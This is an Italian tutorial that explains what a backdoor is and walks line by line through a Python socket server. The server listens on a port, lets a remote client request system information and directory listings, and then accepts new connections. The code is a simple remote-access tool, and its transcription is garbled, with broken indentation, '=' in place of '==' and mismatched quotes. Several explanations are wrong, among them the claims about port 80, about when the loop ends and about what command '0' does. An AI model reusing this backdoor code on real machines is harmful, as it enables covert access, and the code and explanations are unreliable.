

# BACKDOOR

Una backdoor è una porta di accesso a un sistema informatico che consente a un utente remoto di controllarlo.

Il termine inglese "backdoor" significa letteralmente "porta sul retro".

Le backdoor sono spesso scritte in diversi linguaggi di programmazione e hanno la funzione principale di superare le difese imposte da un sistema, come può essere un firewall, al fine di accedere in remoto a un personal computer, ottenendo per mezzo di un sistema di crittografia un'autenticazione che permetta di prendere il completo o parziale possesso del computer vittima.

Qui un esempio di Backdoor scritto in codice con Python.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

        if(data.decode('utf-8') == '1'):
            tosend = platform.platform() + " " + platform.machine()
            connection.sendall(tosend.encode())
        elif(data.decode('utf-8') == '2'):
            data = connection.recv(1024)
            try:
                filelist = os.listdir(data.decode('utf-8'))
                tosend = ""
                for x in filelist:
                    tosend += "," + x
            except:
                tosend = "Wrong path"
            connection.sendall(tosend.encode())
        elif(data.decode('utf-8') == '0'):
            connection.close()
            connection, address = s.accept()
```

```
import socket , platform , os
```

```
SRV_ADDR = ""
```

```
SRV_PORT = 1234
```

```
s = socket. socket(socket. AF_INET, socket.  
SOCK_STREAM)
```

import socket :

Importa il modulo socket, che fornisce funzionalità per la comunicazione di rete in Python.

Definisce due variabili:

SRV\_ADDR = “indirizzo IP” - contiene l'indirizzo IP del server

SRV\_PORT = 1234 - contiene il numero di porta su cui il server ascolterà le connessioni in ingresso.

Crea un socket utilizzando socket.socket().

Il primo parametro:

- socket.AF\_INET indica che si tratta di un socket di tipo Ipv4

Il secondo parametro:

- socket.SOCK\_STREAM specifica che si tratta di un socket TCP.

.

```
s. bind((SRV_ADDR, SRV_PORT))  
s. listen(1)  
connection, address = s.accept()
```

`s.bind((SRV_ADDR, SRV_PORT))`: Associa il socket all'indirizzo IP e alla porta specificati con `bind()`

In questo modo, il server è in ascolto su quell'indirizzo IP e porta (80 per HTTP è di default) per le connessioni in ingresso.

`s.listen(1)`:

Mette il socket in modalità "ascolto" utilizzando `listen()`.

Il parametro 1 indica che il server può accettare una sola connessione in entrata alla volta.

`connection, address = s.accept()` :

Accetta una connessione in entrata utilizzando `accept()`. Questo metodo blocca il programma finché non viene stabilita una connessione da un client.

`connection` è il nuovo socket creato per comunicare con il client, e `address` contiene l'indirizzo IP e la porta del client.

```
print ("client connected: ", address)

while 1:
    try:
        data = connection. recv(1024)
    except: continue
```

```
print ("client connected: ", address)
```

Stampa un messaggio per indicare che un client è stato connesso e visualizza l'indirizzo del client.

Col ciclo “while 1” inizia un ciclo infinito per ricevere dati dal client. Utilizza `recv(1024)` per ricevere dati dal client, con una dimensione massima di 1024 byte alla volta. Se non vengono più dati, il ciclo while si interrompe. Questo è il cuore del programma `connection.close()` .

```
if(data.decode( utf-8') = '1'):  
    tosend = platform.platform() + " " +  
    platform.machine()  
    connection.sendall( tosend.encode())  
elif(data.decode( utf-8') ='2'):  
    data = connection.recv(1024)
```

Nella prima riga, viene verificato se il dato decodificato in UTF-8 è uguale a '1'. Se è vero, viene creato un messaggio da inviare che include il nome della piattaforma e il tipo di macchina. Questo messaggio viene quindi inviato attraverso la connessione.

Nella seconda riga, viene verificato se il dato decodificato in UTF-8 è uguale a '2'. Se è vero, viene ricevuto un dato dalla connessione con una dimensione massima di 1024 byte.

```

try:
    filelist = os.listdir(data.decode(utf-8"))
    tosend = ""
    for x in filelist:
        tosend = "," + x
except:
    tosend = "Wrong path"
    connection.sendall(tosend.encode())
elif(data.decode(utf-8') = '0'):
    connection.close()
    connection, address = s.accept()

```

Evita che il programma vada in errore. Se si verifica un imprevisto, la struttura try except permette al programmatore di rilevarla e correggerla automaticamente, senza bloccare l'esecuzione del programma.

Se il dato decodificato in utf-8 è = 0 si ha chiusura del programma.